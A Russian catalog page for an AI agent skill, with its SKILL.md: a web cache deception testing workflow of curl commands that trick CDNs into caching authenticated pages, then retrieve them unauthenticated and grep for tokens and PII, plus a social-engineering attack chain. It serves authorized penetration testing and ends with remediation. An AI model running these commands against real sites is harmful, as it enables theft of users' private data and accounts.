К основному содержанию
скилл CX Codex

performing-web-cache-deception-attack — скилл для Claude Code

Скилл performing-web-cache-deception-attack моделирует атаки Web Cache Deception через расхождения парсинга путей между CDN и бэкендом. Помогает находить утечки личных данных при агрессивном кэшировании.

Apache-2.0 233 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code
Открыть на GitHub

Что делает performing-web-cache-deception-attack

Скилл описывает шестишаговый сценарий тестирования Web Cache Deception для приложений под защитой Cloudflare, Akamai, Fastly, AWS CloudFront, Varnish или Nginx. Сначала через curl выявляются заголовки CF-Cache-Status, X-Cache и правила для статических расширений. Затем к динамическому URL добавляется псевдостатический суффикс вроде .css. Если прокси посчитает ресурс статикой, а сервер вернёт приватную страницу, ответ осядет в общем кэше.

Сценарий проверяет расхождения в нормализации путей между сервером и прокси. В ход идут разделители с точкой с запятой, экранированные слеши, нуль-байты %00, фрагменты %23 и манипуляции с заголовком X-Original-URL. Это показывает, попадают ли персональные токены или почта в публичную выдачу CDN.

Для воспроизведения понадобятся Burp Suite и две параллельные сессии. Нужен аккаунт жертвы и запрос без авторизации. Без предварительного письменного согласия владельца сервиса запуск таких проверок незаконен.

Какие задачи решает

  • Проверить утечку приватных данных профиля через кэш Cloudflare или Akamai
  • Протестировать расхождения парсинга путей с помощью точки с запятой, нуль-байта и URL-кодирования
  • Оценить реакцию CDN на подмену X-Original-URL и манипуляции с ключом кэширования
  • Выявить небезопасные правила кэширования статических расширений

Примеры запросов агенту

  • Проверь эндпоинт /account/profile на уязвимость Web Cache Deception через заголовки CDN
  • Покажи шаги для тестирования нормализации путей с разделителями и расширением .css
  • Составь тестовый curl-запрос для проверки утечки токенов из кэша

Как установить performing-web-cache-deception-attack

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code

2Вручную: положить файлы

~/.claude/skills/performing-web-cache-deception-attack/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/performing-web-cache-deception-attack/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о performing-web-cache-deception-attack

Как установить performing-web-cache-deception-attack в Claude Code?

Выполните команду npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code.

Что делает скилл performing-web-cache-deception-attack?

Он предоставляет пошаговую инструкцию по поиску уязвимостей Web Cache Deception, от сканирования заголовков кэша до проверки утечки сессий через манипуляцию путями.

Что требуется для проверки Web Cache Deception?

Нужны Burp Suite, понимание заголовков Cache-Control и Vary, две сессии (авторизованная жертва и гость), а также письменное разрешение на аудит цели.

Исходный текст

SKILL.md · Apache-2.0
---
name: performing-web-cache-deception-attack
description: Executes web cache deception attacks by exploiting path normalization
  discrepancies between CDN/reverse-proxy caching layers (Cloudflare, Akamai, Varnish,
  Nginx) and origin servers to cache and retrieve sensitive authenticated content.
  Use when testing applications behind CDNs for cache-key misconfigurations, during
  bug bounty hunting on aggressively cached sites, or when assessing sensitive data
  exposure through cache layer misconfiguration.
domain: cybersecurity
subdomain: web-application-security
tags:
- web-cache-deception
- cdn-attack
- cache-poisoning
- path-normalization
- cloudflare
- cache-key
- static-resource
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1078.004
---

# Performing Web Cache Deception Attack

## When to Use
- When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
- During assessment of authenticated page caching behavior
- When evaluating path normalization differences between caching and origin layers
- During bug bounty hunting on applications with aggressive caching policies
- When testing for sensitive data exposure through cache layer misconfiguration

## Prerequisites
- Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
- Knowledge of CDN path normalization and cache key construction
- Burp Suite for intercepting and crafting requests
- Two browser sessions (authenticated victim and unauthenticated attacker)
- Understanding of URL path parsing differences across technologies
- Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Caching Layer and Behavior
```bash
# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
```

### Step 2 — Test Path-Based Cache Deception
```bash
# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done
```

### Step 3 — Exploit Delimiter-Based Discrepancies
```bash
# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
```

### Step 4 — Test Normalization Discrepancies
```bash
# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
```

### Step 5 — Exploit Cache Key Manipulation
```bash
# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"
```

### Step 6 — Verify and Document the Attack
```bash
# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Cache Deception | Tricking CDN into caching authenticated dynamic content as static resource |
| Path Normalization | How CDN and origin differently resolve path segments (../, ;, encoded chars) |
| Cache Key | The identifier CDN uses to store/retrieve cached responses (typically URL path) |
| Static Extension Trick | Appending .css/.js/.png to dynamic URLs to trigger caching behavior |
| Delimiter Discrepancy | Characters (;, ?, #) interpreted differently by cache vs. origin server |
| Cache Poisoning vs Deception | Poisoning modifies cache for all users; deception caches specific victim data |
| Vary Header | HTTP header controlling which request attributes affect cache key |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | HTTP proxy for crafting cache deception requests |
| curl | Command-line testing of cache behavior and response headers |
| Web Cache Vulnerability Scanner | Automated tool for detecting cache deception/poisoning |
| Param Miner | Burp extension for discovering unkeyed cache parameters |
| Cloudflare Diagnostics | Analyzing CF-Cache-Status and cf-ray headers |
| Varnish CLI | Direct cache inspection for Varnish-based setups |

## Common Scenarios

1. **Profile Data Theft** — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
2. **API Token Exposure** — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
3. **Account Takeover** — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
4. **Financial Data Exposure** — Cache banking or payment pages showing account balances and transaction history
5. **Admin Panel Caching** — Cache admin pages accessible through delimiter-based path confusion on CDN

## Output Format

```
## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
hunt-cache-poison Sachin Sharma Скилл hunt-cache-poison для выявления уязвимостей отравления кеша и Web Cache Deception в приложениях за CDN. Помогает находить неключевые заголовки и некорректную обработку путей. CX Codex +1 ★ 16 193звёзд репо web-cache-deception yaklang Скилл web-cache-deception помогает проверять кэширование авторизованных страниц и искать условия для отравления кэша. Пригодится при аудите CDN, обратного прокси или кэширования приложения. CX Codex +1 4 000установок web-cache-poisoning-and-deception W4L33Dx Скилл web-cache-poisoning-and-deception для Claude Code проверяет отравление веб-кэша и утечки через кэш. Включается при проверке CDN или обратного прокси, который сохраняет ответы. CX Codex +1 ★ 73звёзд репо web-app-logic transilienceai Скилл web-app-logic для поиска уязвимостей в бизнес-логике веб-приложений: обход workflows, манипуляция данными, проблемы с доступом и кэшированием. Помогает найти то, что пропускают автоматические сканеры. CX Codex +1 219установок web-app-attack-chain Problem99-io Скилл web-app-attack-chain для Claude Code восстанавливает цепочку атаки по журналам запросов. Он выделяет успешные действия внутри приложения и перечисляет, что должен отменить человек. CX Codex +1 ★ 71звёзд репо http-host-header-attacks yaklang Скилл http-host-header-attacks для Claude Code помогает проверять доверие приложений к заголовку HTTP Host и искать отравление сброса пароля и кеша, SSRF и обход виртуальных хостов. CX Codex +1 4 000установок

Из того же набора152

Весь набор →
detecting-api-enumeration-attacks Скилл detecting-api-enumeration-attacks для Claude Code составляет SIEM-правила для поиска перебора идентификаторов и обхода проверок доступа к API. Включается при расследовании BOLA/IDOR и настройке охоты за угрозами. CX Codex +1 246установок conducting-full-scope-red-team-engagement Скилл conducting-full-scope-red-team-engagement для Claude Code планирует red team операции по MITRE ATT&CK. Запускается для оценки защиты от APT-атак или эмуляции действий группировки. CX Codex +1 243установок building-devsecops-pipeline-with-gitlab-ci Скилл building-devsecops-pipeline-with-gitlab-ci помогает встроить проверки безопасности в GitLab CI/CD: анализирует код, зависимости, контейнеры и секреты. Пригодится при настройке сканирования до деплоя. CX Codex +1 243установок auditing-azure-active-directory-configuration Скилл auditing-azure-active-directory-configuration проводит аудит безопасности Microsoft Entra ID через Microsoft Graph API, Az CLI и ScoutSuite. Помогает найти избыточные привилегии и бреши в условном доступе. CX Codex +1 241установок auditing-gcp-iam-permissions Скилл auditing-gcp-iam-permissions для Claude Code проверяет IAM в GCP: широкие роли, ключи сервисных аккаунтов и доступ между проектами. Аудирует права и снижает риск бокового перемещения. CX Codex +1 241установок analyzing-usb-device-connection-history Скилл analyzing-usb-device-connection-history восстанавливает хронологию подключений USB-накопителей в Windows по реестру и журналам событий. Помогает расследовать утечки данных и действия инсайдеров. CX Codex +1 241установок performing-api-security-testing-with-postman Скилл performing-api-security-testing-with-postman для построения структурированных наборов тестов безопасности API в Postman, покрывающих OWASP API Security Top 10: обход аутентификации, ошибки авторизации, инъекции, утечки данных. CX Codex +1 240установок analyzing-slack-space-and-file-system-artifacts Скилл analyzing-slack-space-and-file-system-artifacts помогает исследовать slack space и записи MFT в образах NTFS. Пригодится форензик-специалисту, когда стандартного восстановления удалённых файлов недостаточно. CX Codex +1 233установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой